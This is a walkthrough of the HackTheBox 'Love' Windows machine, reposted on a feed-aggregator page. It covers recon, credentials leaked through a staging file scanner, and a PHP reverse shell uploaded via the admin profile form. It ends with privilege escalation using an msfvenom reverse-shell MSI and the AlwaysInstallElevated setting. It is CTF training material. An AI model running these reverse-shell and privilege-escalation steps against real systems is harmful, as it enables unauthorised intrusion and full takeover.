惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
AI
AI
L
LINUX DO - 最新话题
The Register - Security
The Register - Security
T
Threatpost
Y
Y Combinator Blog
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
Attack and Defense Labs
Attack and Defense Labs
T
Tailwind CSS Blog
P
Proofpoint News Feed
MongoDB | Blog
MongoDB | Blog
H
Heimdal Security Blog
小众软件
小众软件
D
Docker
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
T
The Exploit Database - CXSecurity.com
AWS News Blog
AWS News Blog
腾讯CDC
博客园 - 司徒正美
美团技术团队
L
LINUX DO - 热门话题
N
Netflix TechBlog - Medium
Stack Overflow Blog
Stack Overflow Blog
S
Security Affairs
阮一峰的网络日志
阮一峰的网络日志
爱范儿
爱范儿
N
News and Events Feed by Topic
J
Java Code Geeks
F
Fortinet All Blogs
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
U
Unit 42
V2EX - 技术
V2EX - 技术
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
T
Tor Project blog
H
Help Net Security
The GitHub Blog
The GitHub Blog
L
Lohrmann on Cybersecurity
Hugging Face - Blog
Hugging Face - Blog
S
Securelist
PCI Perspectives
PCI Perspectives
W
WeLiveSecurity
A
About on SuperTechFans
N
News and Events Feed by Topic
博客园 - 叶小钗
Cloudbric
Cloudbric
L
LangChain Blog
WordPress大学
WordPress大学
B
Blog
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed

Homepage on Aditya Telange

One Year with evil-winrm-py - A Retrospective Bypassing LinkedIn's Connection Privacy with a Simple Search Filter Making Dynamic Instrumentation Accessible with Frida UI Breaking Payload Encryption in Web Applications HackTheBox (HTB) - Escape HackTheBox (HTB) - Resolute HackTheBox (HTB) - Certified State of VMWare Workstation (Pro?) on Linux Android App Security Testing Lab with MobSleuth Android phone as a Webcam on Linux Breaking down Reverse shell commands HackTheBox (HTB) - Photobomb Merging AOSP Security Patches into Custom ROMs Primer on HTTP Security Headers Image Zoom-In effect with HUGO HackTheBox (HTB) - Legacy HackTheBox (HTB) - Lame Cryptohack - Keyed Permutations [5 pts] Cryptohack - Resisting Bruteforce [10 pts] Cryptohack - RSA Starter 1 [10 pts] Cryptohack - Base64 [10 pts] Cryptohack - Bytes and Big Integers [10 pts] Cryptohack - Hex [5 pts] Cryptohack- XOR Starter [10 pts] HackTheBox (HTB) - Horizontall HackTheBox (HTB) - Forge HackTheBox (HTB) - Previse HackTheBox (HTB) - BountyHunter HackTheBox (HTB) - Explore HackTheBox (HTB) - Cap HackTheBox (HTB) - Pit HackTheBox (HTB) - Knife HackTheBox (HTB) - Tenet HackTheBox (HTB) - Ready Watermarking images with HUGO My Github Project went viral! Cryptohack - ASCII [5 pts] Cryptohack - Finding Flags [2 pts] Cryptohack - Great Snakes [3 pts] Cryptohack - JWT Sessions [10 pts] Cryptohack - Network Attacks [5 pts] Cryptohack - Token Appreciation [5 pts] CAF's Android for MSM Basic Website Analytics with Vercel Github Actions as Temporary File Sharing Platform Addition of prebuilt APK - AOSP Rom Development External Link With target='_blank' in Hugo Markdown Setting Up Build Environment - AOSP Rom Development Getting Started - AOSP Rom Development Using Secure HTTP Headers with Vercel/Zeit Education and Certifications Link Tree ↟ | Aditya Telange Personal Projects Resume - Aditya Telange Security Acknowledgements About Me Graph View License Privacy Policy
HackTheBox (HTB) - Love
[Aditya Telange](https://x.com/adityatelange) · 2021-08-07 · via Homepage on Aditya Telange
Box Info
  • Name: Love
  • OS: Windows
  • Difficulty: Easy
  • IP: 10.10.10.239
  • Points: 20
  • Machine Creator: pwnmeow

Introduction

Love is a fun box where we find a hidden subdomain that helps us retrieve Forbidden pages, where admin credentials are leaked of another service.

The access to the admin dashboard has a file upload, through which we get a reverse shell. The box then has AlwaysInstallElevated that allows a regular user to install a Microsoft Windows Installer Package (MSI) with system privileges, which helps us get the Administrator access.

Recon

NMAP Scan

sudo nmap -sC -sV -oA 10.10.10.239 10.10.10.239
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-10 15:17 UTC
Nmap scan report for 10.10.10.239
Host is up (0.56s latency).
Not shown: 993 closed ports
PORT     STATE SERVICE      VERSION
80/tcp   open  http         Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Voting System using PHP
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
443/tcp  open  ssl/http     Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Not valid before: 2021-01-18T14:00:16
|_Not valid after:  2022-01-18T14:00:16
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  http/1.1
445/tcp  open  microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open  mysql?
| fingerprint-strings:
|   Help:
|_    Host '10.10.14.3' is not allowed to connect to this MariaDB server
5000/tcp open  http         Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.80%I=7%D=5/10%Time=60994EFA%P=x86_64-pc-linux-gnu%r(He
SF:lp,49,"E\0\0\x01\xffj\x04Host\x20'10\.10\.14\.3'\x20is\x20not\x20allowe
SF:d\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h41m34s, deviation: 4h02m31s, median: 21m32s
| smb-os-discovery:
|   OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: Love
|   NetBIOS computer name: LOVE\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-05-10T08:41:16-07:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2021-05-10T15:41:18
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 135.47 seconds

So the open ports are 80, 443, 5000, 3306, 135, 139, 445

Visiting port 80

We see login page at http://love.htb.

“Love Login page”

Upon searching we fing this is based on https://www.sourcecodester.com/php/12306/voting-system-using-php.html

We also have a admin panel http://love.htb/admin whose login is same as of http://love.htb

Visiting port 5000

Next we visit http://love.htb:5000 but we get 403 Forbidden

Visiting port 443

We visit https://love.htb (as port 443 is open) and we get certificate invalid warning ⚠️

Upon viewing the certificate we can see that it Common name is staging.love.htb, this means that there is a subdomain here..

“HTTPS certificate revealing subdomain”

Common Name : staging.love.htb
Email Address : roy@love.htb

Also we don’t have permission to visit https://love.htb, we get 403 Forbidden

Visiting staging.love.htb:80

We visit http://staging.love.htb, where we have a DEMO (http://staging.love.htb/beta.php).

“Staging Beta File Scanner”

Scanning http://localhost:443 and http://localhost:5000

We scan both the ports having 403 Forbidden.

We get nothing with port 443 but for port 5000 we get:

“Leaked Credentials on port localhost:5000”

We get the credentials possibly for http://love.htb/admin.

Vote Admin Creds admin: @LoveIsInTheAir!!!!

We can now log-in to admin panel at http://love.htb/admin/.

“Admin Dashboard on port 80”


Getting user shell

Browsing Admin Dashboard we find nothing, but Admin Profile details updation form. Here we have option to upload any file!

We download a php reverse shell file https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/reverse/php_reverse_shell.php. This one also it has windows reverse shell support.

We just have to make changes on here on Line 174 and put details for our attacker machine.

We use nc to listen for port 9000

kali@kaliubuntu:~$ nc -lvnp 9000
Listening on 0.0.0.0 9000

Now upload the reverse shell

“Upload reverse shell in user photo”

and wait for netcat to return a shell

“User phoebe shell”

we get shell with user love\phoebe and also get user.txt under C:\Users\Phoebe\Desktop.

“user.txt”


Privilege Escalation

For Escalating out Privileges we use winPEAS

We upload winPEASx64.exe to the target box..

Note: For some reason winPEAS.bat was not working and skipping most of the stuff, recommended to use the executable binary

Now we need the output of winPEAS but reading all the output is difficult

Thus we find where the voters.php is located so that we can save the output there, and we can download it directly to out attcker box.

# finding where the code is being served from
C:\xampp> dir /s *voters.php
 Volume in drive C has no label.
 Volume Serial Number is 56DE-BA30

 Directory of C:\xampp\htdocs\omrs\admin

05/15/2018  08:40 AM             4,758 voters.php
               1 File(s)          4,758 bytes

     Total Files Listed:
               1 File(s)          4,758 bytes
               0 Dir(s)   2,312,978,432 bytes free

Run winPEASx64.exe in the background and output into the public server so that we can view/download the whole outout

START /B C:\tmo\winPEASx64.exe > C:\xampp\htdocs\omrs\admin\out.txt

We can get the file at http://love.htb/admin/out.txt

Looking in the output we find AlwaysInstallElevated in the RED 🔴.

“winPEAS showing AlwaysInstallElevated”

We find a simple expoit for Always Install Elevated https://dmcxblue.gitbook.io/red-team-notes/privesc/unquoted-service-path

So we create an MSI file that can connect back to our attacker machine using msfvenom.

msfvenom --platform windows --arch x64 --payload windows/x64/shell_reverse_tcp \
LHOST=10.10.xx.xx LPORT=1337 --encoder x64/xor --iterations 9 --format msi --out AlwaysInstallElevated.msi

Now we need to upload the generated AlwaysInstallElevated.msi to target box and open a netcat lister so that we get a reverse shell.

We listen to port 1337 as this is what we use in above command

On the target Box we run

msiexec /qn /i AlwaysInstallElevated.msi
  • /qn - Specifies there’s no UI during the installation process.
  • /i - Specifies normal installation.

https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec

And… we are nt authority\system Administrator i.e . We get root.txt at C:\Users\Administrator\Desktop

“Administrator shell and root.txt”